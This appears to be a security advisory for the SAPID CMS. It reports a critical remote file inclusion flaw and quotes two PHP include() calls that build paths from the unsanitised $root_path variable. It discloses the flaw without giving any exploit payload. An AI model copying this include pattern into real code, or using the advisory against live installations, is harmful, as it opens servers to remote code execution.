# 
# Website : http://sapid.sourceforge.net
# 
# Severity: Critical
# 
# Details: 
# 
# 
# [+] Remote File Inclusion
# 
# 1) vulnerable code in usr/extensions/get_infochannel.inc.php lines( 8 - 9 )
# 
# if(!defined("common_extfunctions")) { define("common_extfunctions", "loaded");
# include($root_path."usr/system/common_extfunctions.inc.php"); }
#
# 2) vulnerable code in usr/extensions/get_tree.inc.php lines( 9 - 10 )
#
# if(!defined("common_extfunctions")) { define("common_extfunctions", "loaded");
# include($GLOBALS["root_path"]."usr/system/common_extfunctions.inc.php"); }
#
# $root_path , $GLOBALS["root_path"] variable are not sanitized ,before it can be used to include files
